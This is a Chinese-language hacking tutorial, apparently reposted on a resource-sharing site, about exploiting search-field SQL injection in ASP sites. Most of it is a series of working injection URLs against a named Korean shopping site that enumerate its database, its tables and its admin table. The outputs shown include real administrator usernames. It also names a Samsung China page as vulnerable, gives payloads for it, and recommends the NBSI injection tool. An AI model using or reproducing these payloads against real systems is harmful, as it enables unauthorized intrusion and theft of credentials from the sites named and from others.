简单的判断搜索型注入漏洞存在不存在的办法是先搜索\’,如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%\’and 1=1 and \’%\’=\’和2006%\’and 1=2 and \’%\’=\’,存在异同的话,就是100%有洞了。
这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and user>0 and \’%\’=\’ //得到当前数据库账号
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and db_name()>0 and \’%\’=\’ //得到当前数据库名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select count(*) from admin)>0 and \’%\’=\’ //返回错误页面,看来是没有admin这个表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0)>0 and \’%\’=\’ //得到当前数据库的第一个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’))>0 and \’%\’=\’ //得到当前数据库的第二个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’,\’oldpoint\’))>0 and \’%\’=\’ //得到当前数据库的第三个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’,\’oldpoint\’,\’tbl_admin\’,\’tbl_afterservice\’,\’tbl_agent\’,\’tbl_bank\’,\’tbl_board\’,\’tbl_board2\’,\’tbl_brandbestLeft\’,\’tbl_brandbestRight\’,\’tbl_card\’,\’tbl_cart\’,\’tbl_catalogue\’,\’tbl_community\’,\’tbl_court\’,\’tbl_estimate\’,\’tbl_FAQ\’,\’tbl_mail_list\’,\’tbl_mem_add\’,\’tbl_mem_main\’,\’tbl_mem_out\’,\’tbl_mem_rboard\’,\’tbl_mileage\’,\’tbl_notice\’,\’tbl_ord_cash_receipt\’,\’tbl_ord_change\’\’tbl_ord_cs\’,\’tbl_ord_change\’,\’tbl_ord_cs\’,\’tbl_ord_main\’,\’tbl_ord_payment\’,\’tbl_ord_prd\’,\’tbl_ord_prd_return\’,\’tbl_ord_refund\’,\’tbl_ord_req_main\’,\’tbl_ord_req_prd\’,\’tbl_ord_request\’,\’tbl_ord_user\’,\’tbl_partition\’,\’tbl_prd_category\’,\’tbl_prd_click\’,\’tbl_prd_desc\’,\’tbl_prd_grade\’,\’tbl_prd_main\’,\’tbl_prd_model\’,\’tbl_recommand\’,\’tbl_saleshop\’,\’tbl_search\’,\’tbl_tax\’,\’tbl_zipcode\’,\’tempDesc\’,\’tempdesc2\’,\’tempmodel\’,\’tempPrdMain\’,\’tempPrdmodel\’,\’tempsize\’,\’tempstyle\’,\’tmpordprd\’,\’tmpordprd2\’,\’trace1\’))>0 and \’%\’=\’ //依次类推,得到所有的表
其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),1) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第一个列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),2) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第二个列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),3) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第三个列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),3) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第四个列名c_level
列名暴完,暴管理员账号密码。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 c_employee_id from tbl_admin)>0 and \’%\’=\’ //得到第一个管理员的id为943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第二个管理员的id为champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第三个管理员的id为clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第四个管理员的id为hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第五个管理员的id为jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 c_c_password from tbl_admin)>0 and \’%\’=\’ //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
一会再想别的办法吧。。。。。
另外说下,2.3 的啊D支持搜索型的注入方式是:
一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%\’and 1=1 and \’%\’=\’
三星%\’and 1=2 and \’%\’=\’
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%\’and 1=1 and \’%\’=\’ 返回时有的
我一般搜索代码是:
Select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select * from 表名 where 字段 like \’%\’ and 1=1 and \’%\’=\’%\’
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » ASP搜索型注入
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html